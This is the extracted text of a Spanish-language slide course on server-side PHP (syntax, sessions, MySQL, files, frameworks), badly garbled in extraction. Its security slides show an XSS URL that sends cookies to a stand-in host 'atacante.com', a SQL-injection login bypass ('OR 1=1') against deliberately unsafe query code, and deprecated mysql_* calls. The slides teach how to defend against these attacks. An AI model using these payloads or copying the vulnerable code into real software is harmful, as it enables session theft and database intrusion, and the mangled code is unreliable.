Tema 3. Programacion Del Lado Del Servidor Utilizando PHP

43
15/09/2014 1 Ing Carlos David Montellano Barriga Ing. Carlos David Montellano Barriga Hypertext Preprocessor Originalmente se conocía como Personal Home Page Procesamiento del Lado del Servidor ¿Que es PHP? Ide’s para PHP Sintaxis del Lenguaje PHP Sintaxis del Lenguaje PHP Manejo de Cadenas Funciones y Librerías Envió de datos mediante GET,POST Programación Orientada a Objetos con PHP Sesiones y Cookies Acceso a Base de Datos Manejo de Archivos Seguridad Envió de Correos Gráficos en PHP Frameworks en php

description

Tutorial PHP

Transcript of Tema 3. Programacion Del Lado Del Servidor Utilizando PHP

  • 15/09/2014

    1

    Ing Carlos David Montellano BarrigaIng.CarlosDavidMontellano Barriga

    Hypertext PreprocessorOriginalmenteseconocacomoPersonalHomePage

    ProcesamientodelLadodelServidor QueesPHP? Ides paraPHP Sintaxis del Lenguaje PHPSintaxisdelLenguajePHP ManejodeCadenas FuncionesyLibreras EnvidedatosmedianteGET,POST ProgramacinOrientadaaObjetosconPHP SesionesyCookies AccesoaBasedeDatos ManejodeArchivos Seguridad EnvideCorreos GrficosenPHP Frameworks enphp

  • 15/09/2014

    2

    Cliente enva una peticin al Servidor Web utilizando http

    Servidor deriva solicitud

    Tecleamos una direccin URLen el navegadorwww.usfx.edu.bo

    Servidor devuelve en lenguaje html solicitada utilizando http

    Servidor procesa Solicitud y genera dinmicamente archivo en html

    El navegador se encarga de interpretar el cdigo html y mostrar el resultado

    Lenguajedeprogramacininterpretado DesarrolladoparafuncionarenelWebypuedeserincrustadodentrodecdigoHTML.

    IngresaCdigoPHPcomosuentradaycreandopginasWebcomosalida.

  • 15/09/2014

    3

    LenguajeMultiplataforma Capacidaddeconexinconmayoramanejadoresdebasede

    datos. Destaca su conectividad con MySQL.datos.DestacasuconectividadconMySQL. Capacidaddeexpandirsupotencial(llamadosext's o

    extensiones). FcildeAprender,existeampliadocumentacin

    funcionesdelsistemaestnexplicadasensusitiooficialwww.php.org RpidaEjecucin ServidoresPHPsonestables,fcilesdemantenerymasy

    baratos. PHPtieneunainfinidaddelibrerasyframeworks ytodasson

    gratuitas. PHPesmssencillodeaprender.

  • 15/09/2014

    4

    Eslibre,porloquesepresentacomounaalternativadefcilaccesoparatodos.

    PermitelastcnicasdeProgramacinOrientadaaObjetos.

    PHP

    Php esunleguajeinterpretado(elservidorinterpretaelcdigocadavezquelovaautilizar)locualafectaasurendimiento.

    Php dependedequesucomunidadreaccionedealgunauotramaneraantelosreportesdebugs.

    Velocidaddedesarrollo:.PHPesrpidosiseusaalgnframework.

    Lalegibilidaddelcdigopuedeverseafectada.

  • 15/09/2014

    5

    IDES

    IDEs(Integrated Development Environment)=EntornosdeDesarrolloIntegrados

    PDT,plugin Eclipse:GPL (Sun). NetBeans: (instalar plugin para php) libre para linux y windows NetBeans:(instalarplugin paraphp)libre,paralinux ywindows. Zend Studio:Comercial (Zend). Komodo IDE:Komodo Edit,libreygratuito,elIDEeslicenciacomercial

    (Mozilla). NuSphere PhpED:Comercial,paralinux ywindows. Quanta:GPLygratuito,paraGNU/linux conQT. Bluefish:GPLygratuito,paraGNU/linux conGTK. phpDesigner:ComercialyFreeware,paralinux ywindows. RapidPHP:Comercial,parawindows. Dream weber:Adobe

    Dokuwiki Drupal

    PmWiki Zikula (anteriormente

    Facebook Joomla MediaWiki Moodle Phorum phpMyAdmin

    llamadoPostNuke) Smarty SPIP SugarCRM vBulletin WordPress

    X PHPNuke phpPgAdmin PhpWiki

    Xaraya Xoops Joomla MODx SMF

  • 15/09/2014

    6

    EjemplodePHP

    primer.php

    PartedeHTMLnormal.

    Todaslasvariablescomienzanconelsmbolodeldlar$ Noesnecesariodefinirunavariableantesdeusarla. Tampocotienentipos,esdecirqueunamismavariablepuede

    contenerunnmeroyluegopuedecontenercaracteres.EjemplodePHP

  • 15/09/2014

    7

    $nombrematriz =array(); Esposibleasignarsusvalores

    $vocales = array ('a','e','i','o','u'); Luegoparaacceder

    $vocales[2]='i';echo$vocales[1];echo$vocales[3];$ [ ];

    //Comentartexto /* Comentartextodemuchaslineas */ # Comentartexto

  • 15/09/2014

    8

    Operadores Aritmticos Operadores Relacionales

    Operadores LgicosOperador Descripcin

    A i

    Operadores de Asignacin

    = Asigna

    += Adiciona y asigna

    = Resta y asigna* = Multiplica y asigna

    / = Divide y asigna

    %= Obtiene el resto y asigna

    . = Concatena y asigna

    if (){ ; }

    Else{ ; }

    switch (){

    case : < declaraciones >;[break;]

    case : < declaraciones >;[break;]

    default: < declaraciones >;}mayor.php

    casos phpEjemplodePHP

    break;case"abajo": //Bloque2echo"Lavariablecontiene";echo"elvalorabajo";break;

    default: //Bloque3echo"Lavariablecontieneotrovalor";echo"distintodearribayabajo";

    }?>

  • 15/09/2014

    9

    Ejemplo de PHP

    for (;;){

    ;}

    while (){

    < declaraciones >;}

    numeros.php mientras.php

    EjemplodePHPInicioFinal

    EjemplodePHPInicioFi l BR

    Final

    foreach ( as [ | => ]){

    ;[break];[continue];

    }

    vocales2.php

    /* Es equivalente a realizar */ for ($i=0;$i

    ?>

  • 15/09/2014

    10

    Hastaahorahemosusadolainstruccinechopararealizarsalidaapantalla,estainstruccinesbastantelimitadayaquenonospermiteformatearlasalida.Enestapginaveremoslainstruccinprintf quenosdamuchamspotencia

    h lsalidas.php

    EjemplodePHP

    strlen(cadena).Nosdevuelveelnmerodecarcteres deunacadena.

    explode(separador cadena) Divide una cadena en varias explode(separador,cadena).Divideunacadenaenvariasusandouncarcterseparador.

    substr(cadena,inicio,longitud).Devuelveunasubcadena deotra,empezandoporinicioydelongitudlongitud.

    chop(cadena).Eliminalossaltosdelneaylosespaciosfinalesdeunacadena.

    strpos(cadena1,cadena2).Buscalacadena2dentrodecadena1indicndonoslaposicinenlaqueseencuentra.

    str_replace(cadena1,cadena2,texto).Reemplazalacadena1porlacadena2eneltexto.

  • 15/09/2014

    11

    EjemplodePHP

    function Nomre(parametro1,parametro2...){instruccin1;instruccin2;return valor_de_retorno;

    }

    EjemplodePHP

  • 15/09/2014

    12

    PermitenagruparvariasfuncionesyvariablesenunmismoficheroPodemosincluirlibrerasendistintaspginasydisponerdeesasfuncionesfcilmente

    Estacabeceraestarentodas

    suspginas.

    Pgina1

    libreria.phppagina.php

    {?>Esteeselpiede

    pgina.Autor:CarlosMontellano

    Contenidoblalbl blalb albmscosas...fin

    EjemplodePHP

    formulario.html

    recibir phpj p /EjemplodeprocesadodeformulariosIntroduzcasunombre:

  • 15/09/2014

    13

    Arraysnumricos elndiceesnumrico,de0enadelanteEj l d d Ejemplodeunarrayencadena

    $ciencias=array(Fsica,Qumica,Biologa); Ejemplodeunarrayporndice

    $ciencias[0]=Fsica;$ciencias[1]=Qumica;$$ciencias[2]=Biologa;

    Ejemplo deunarrayuno tras otro$ciencias[]=Fsica;$ciencias[]=Qumica;$ciencias[]=Biologa;

    Paraconsultar unvalorprint $ciencias[0]print$ciencias[0];

  • 15/09/2014

    14

    A|B|C|D|E|FG|H|I|J|K|L

    $array[0][0]=A$array[0]=array quecontienelosvaloresA|B|C|D|E|F$array[1]=array quecontienelosvaloresG|H|I|J|K|L$array[0][1]=B,$array[0][2]=C,$array[0][3]=D

    $columnas=7;$filas = 3;

    rellenar.php

    $filas 3;for($i=0;$i

  • 15/09/2014

    15

    Estructura deuna claseclass []{

    [var |][];[]function ([]){

    ;}

    }*ModificadoresestnimplementadosenPHP5. Acceso a propiedades y mtodos dentro

    Declararyusarclases$variable=newnombre_clase ();$ ()$variable> funcion_nombre ();nombre_clase ::funcion_nombre();(Llamadaesttica).

  • 15/09/2014

    16

    Mtodoqueseejecutaalinstanciarlaclase,parainiciarpropiedades

  • 15/09/2014

    17

    //'extends'eslapalabraclavequepermitelaherenciaclass empleadoextends persona{function __construct($nombre_empleado){$this>set_name($nombre_empoleado);}}

    HTTPsinestado ConexionespormediodeHTTPnomantienenunpestado.

    Nosepuedenmantenervariablesenlaconexin. Sehaninventadomecanismosparatenerunaespeciedeestado,

    cookies,quepermitenguardarunestadodelladodel, q p gcliente

    lassesiones,quepermitenguardarunestadodelladodelservidor.

  • 15/09/2014

    18

    ServidorcuandoregresaunobjetoHTTPalclientepuedeenviartambinunpaquetedeinformacindeestadoqueelcliente va a almacenar de manera persistenteclientevaaalmacenardemanerapersistente.

    IncluidoconeseestadoseencuentraunrangodeURLs paraloscualeseseestadoesvlido.

    CualquiersolicitudHTTPfuturahechaporelclientequecaigadentrodetalrangovaaincluirunatransmisindelvaloractualdelobjetodesdeelclientealservidor.

    Funcinsetcookie defineunacookieparaserenviadaconlainformacindeencabezado.

    Debe ser enviada antes de cualquier otra informacin de Debeserenviadaantesdecualquierotrainformacindeencabezado.

    Sintaxis: int setcookie (string name,string value,int expire,string path,string

    domain,int secure)

  • 15/09/2014

    19

    PHPtieneapoyoparaconservarestadoconsesiones. Sesionesmantienenvariablesenelladodelservidor. Acadavisitantequeaccedealapginaseleasignaunidentificadornico,llamado"session id"(identificadordesesin).

    stesealmacenaenunacookieporpartedelusuarioosepropagaenlaURL(mtodoGET).

    Permiteregistrarunnmeroarbitrariodevariablesqueseconservarnenlassiguientessolicitudes.

    pagina.php

    S h SISehaenviadosession_id

    recreanlasvariablesquesehabanguardado

    anteriormente

    Creasession id

    SI

    NO

  • 15/09/2014

    20

    borrarunavariablecon$_SESSION:borrarsesion php

    borrarsesion.php

  • 15/09/2014

    21

    PHP permite el acceso a las siguientes bases de datos:

    dbase dbm db++ FrontBase filePro

    mSQL Mysql Oracle OvrimosSQLServerP t SQL

    datos:

    Informix InterBase IngresII SQLServer

    PostgreSQL SESAM Sybase

    PHPtambintieneinterfacesabstractas: DBA(DataBase Abstraction) DBX ODBC

    PginaPHP Base de

    datos

    orden SQL

    resultado

  • 15/09/2014

    22

    MySQL esunsistemadebasesdedatosdesarrolladooriginalmenteporMySQL AB.Actualmentela

    lcontrolaORACLE ElsistemadebasesdedatossedabajolicenciaGPLqueesunalicenciadesoftwarelibreosevendebajounalicenciacomercial.

    CaractersticasdeMySQL Modelorelacional,multiusuario

    TiposdedatosNumricos Numricos

    tinyint,smallint,mediumint,int,integer,bigint decimal,float,numeric

    Fechayhora date,time,datetime,year,timestamp

    Cadena char,varchar tinytext,text,mediumtext,longtext tinyblob,blob,mediumblob,longblob enum set enum,set

    Debeelegirseadecuadamenteeltipoyeltamaodecadacampo

  • 15/09/2014

    23

    Operadores Aritmticos

    +,,*,/ ComparacinComparacin

    =,!=,,ISNULL,ISNOTNULL Lgicos

    not (!),and(&&),or (||),xor Funciones

    Funcionesdecadena Funcionesdecomparacindecadenas Funcionesnumricas Funcionesdefechayhora Funcionesdeagregado

    phpMyAdmin esunaherramientaparalaadministracindelservidordebasesdedatosMySQL

    Disponedeunainterfazgrficayesdelibredistribucin Permiterealizartodotipodeoperacionessobrebasesde

    datos: crear,borrarymodificartablas consultar,insertar,modificaryeliminardatos definirusuariosyasignarpermisos realizarcopiasdeseguridad etc

    E i h j d d l d Estescritaenphp yseejecutadesdeelnavegador Puedeadministrarbasesdedatoslocalesyremotas

  • 15/09/2014

    24

    LasfuncionesconcretasdeMySQLquerealizanestasoperaciones son: Conectarconelservidordebasesdedatos:

    mysql_connect() Seleccionarunabasededatos:

    mysql_select_db() EnviarlainstruccinSQLalabasededatos:

    mysql_query() Obteneryprocesarlosresultados:

    mysql_num_rows()ymysql_fetch_array() Cerrarlaconexinconelservidordebasesdedatos:

    mysql_close()

  • 15/09/2014

    25

    4 Consulta

    Cerrar conexion

  • 15/09/2014

    26

    listar.php

    NombresDireccionTelefonoEmailCelular

    Nombres

    " " " " " "

    finsertar.html

    DireccinTelefono EmailCelular

  • 15/09/2014

    27

    Nombres

  • 15/09/2014

    28

    Elementoeliminadoconexito

    Copiar: Funcionestiles

    copy($origen,$destino) Renombrar:

    rename($antes,$despues) Eliminar:

    unlink($archivo) unlink($archivo)

  • 15/09/2014

    29

  • 15/09/2014

    30

    Lecturadearchivos variable=fgets(file_handler, longitud)

    Lee una lnea de texto hasta el fin de lnea o bien hasta que se cumpla la longitud indicada.

    variable=fread(file_handler, cantidad) Lee la cantidad de bytes indicados ignorando saltos de lnea.

    Escrituradearchivos fwrite(file_handler, variable, longitud);

    Escribe la variable al file_handler. longitud (opcional) se escribirn tantos bytes como la longitud

    indicada o como la longitud de la variable,devuelve la cantidad de bytes escritos en el archivo.

    Cierre de archivos fclose(file_handler)

    Cierra un archivo abierto con fopen. Fin de archivo boolean = feof(file_handler);

    Devuelve verdadero si no quedan ms bytes para leer en el archivo o si se produce algn tipo de error al leer.

  • 15/09/2014

    31

    Muchasvecesseenviarunarchivoalservidorjuntoconlapeticinhttp

    El archivo debe ser enviado mediante el mtodo POST ElarchivodebeserenviadomedianteelmtodoPOST Existeuntipoespecialdeinputparaestetipofile.

    ALformulariosedebeespecificarelatributoparaquetengalacapacidaddeenviararchivos

    t " lti t/f d t " enctype="multipart/form-data"

  • 15/09/2014

    32

    MAX_FILE_SIZE:Palabra reservada: Mximtamao del fichero(en bytes). Debera de compel servidor.

    Entrada de Fichero

    Unavezenelservidor,elarchivosealmacenaenundirectoriotemporal.

    La informacin del archivo es recibida en la variable $ FILES[] Lainformacindelarchivoesrecibidaenlavariable$_FILES[]conelnombredelinput $_FILES[nombre][name]:Nombreoriginaldelarchivodelcliente $_FILES[nombre][tmp_name]:Nombredelarchivotemporalenel

    servidor. $_FILES[nombre][type]:Tipodearchivo $ FILES[nombre][size]:Tamaoenbytesdelarchivo.$_ [ ][ ] y $_FILES[nombre][error]:Errorasociadoal archivo.

    Enbaseaestainformacinsedecidequehacerconelarchivorecibido

  • 15/09/2014

    33

    Ficherophp.ini:Permitir subir ficheros al servidorPermitirsubirficherosalservidor

    file_uploads =On Seleccionamosundirectoriotemporalparalosarchivos

    upload_tmp_dir:carp_temp/Tamao mximo de los archivos Tamaomximodelosarchivos.

    upload_max_filesize =2M

  • 15/09/2014

    34

    UngranpoderconllevaUnagranresponsabilidad

    display_errors =Off log_errors =On error reporting = E ALL (reportar errores) error_reporting =E_ALL(reportar errores) session.save_path=/opt/php/session

    session.gc_maxlifetime=600(10minutos deinactividad) safe_mode =On(activar si es posible) safe_mode_gid =On(activesi es posible)

  • 15/09/2014

    35

    register_globals = Off Nunca colocar en on , porque es facil escribir codigo

    inseguro Inicializa automaticamente variables desde Get/Post/Cookie Inicializa automaticamente variables desde Get/Post/Cookie

    data

    URL= index.php?administrator=xyz

    Seaprovechandelaconfianzadelusuarioenlaaplicacin ELPROBLEMA Como no tratamos la entrada del usuario de ninguna forma, dejamos laComonotratamoslaentradadelusuariodeningunaforma,dejamosla

    puertaabiertaaquesemuestrecualquiertipodecdigoHTMLennuestrapgina.

    Usuario:Contrasea:

    formxss.php

    Pueden serpresistentes onopersistentes

    http://localhost/index.php?mensaje=document.location='http://atacante.com/captura.php?cookies='+document.cookie

  • 15/09/2014

    36

    Explotalaconfianzadeunsitiowebenunusuario LavctimadelataquelanzaunapeticinHTTPsinsaberlo,normalmenteaURLs

    Querequierendeunaccesoprivilegiado. ElescapadoevitarquetuaplicacinsirvadevehculoparaataquesCSRFperonoevitarquelosrecibas.

  • 15/09/2014

    37

    usuario:

    contrasea:

    Formlogin.html

    contrasea:

    $usuario=$_POST[usurio'];$password =$_POST['password'];$sql = SELECT * FROM usuarios

    autenticar.php

    $sql SELECT FROMusuariosWHEREusuario='{$usuario}'ANDpassword ='{$password}';//Continuamosconelrestoif(count($results)>0){//login }

    SELECT*FORM iFORMusuariosWHEREusuario='adm'OR1=1 ANDpassword ='contrasea'

  • 15/09/2014

    38

    SloexisteunafuncinparaenviarcorreoelectrnicodesdePHP5.

    Lafuncinmail()devolverunvalortruesilosdatossonenviadoscorrectamente.

  • 15/09/2014

    39

    PHPMailer estbasadoenprogramacinorientadaaobjetos.

    ContienevariosficherosquedebenguardarseeneldirectoriodePHPdedicadoalibrerasoennuestroespaciodetrabajo.

    LalibreragrficaGDestescritaenlenguajeCypermitecrearymanipulargrficosfcilmente.

    Permiteimportaryexportargrficosdedistintotipo(GIF,JPGyPNG)

  • 15/09/2014

    40

    Esunmecanismodeseguridadparaevitarllenaoautomatico deformularios

  • 15/09/2014

    41

    El modelo representa la informacin con la que trabaja la aplicacin es decir su lgica dela aplicacin, es decir, su lgica de negocio.2. La vista transforma el modelo en una pgina web que permite al usuario interactuar con ella.3. El controlador se encarga de procesar las interacciones del pusuario y realiza los cambios apropiados en el modelo o en la vista.

    LosFrameworks ayudaneneldesarrollodesoftware Proporcionanunaestructuradefinidalacualayudaacrear

    aplicaciones con mayor rapidezaplicacionesconmayorrapidez SeutilizalaProgramacinOrientadaaObjetos(POO),

    permitiendolareutilizacindenuestrocdigo

  • 15/09/2014

    42

    Zend Framework Essimple,nonecesitainstalacinespecial,requierePHP5e incorpora el patrn MVCeincorporaelpatrnMVC.

    Sedebe descargar ycopiarlohacianuestroservidorlocal,veamosatravsdeunpequeoejemplocmopodemoscrearunlectordeRSS.Losficherosquecreemospodemoscopiarlosdentrodeldirectoriolibrary.

    Symfony Diseadoconelobjetivodeoptimizarlacreacindelas

    li i b l d iaplicacionesweb,conelusodesuscaractersticas. Poseeunalibreradeclasesquepermitenreducireltiempodedesarrollo.

    DesarrolladoenPHP5,sepuedeutilizarenplataformas*nix (Unix,Linux)yWindows.

    Requieredeunainstalacin,configuracinylneasdeq , g ycomando,incorporaelpatrnMVC,soportaAJAX,plantillasyungrannmerodebasesdedatos.

  • 15/09/2014

    43

    PHPPrado CakePHP Qcodo Kumbia PHP4ECore CodeIgniter Yii Framework TomatesFramework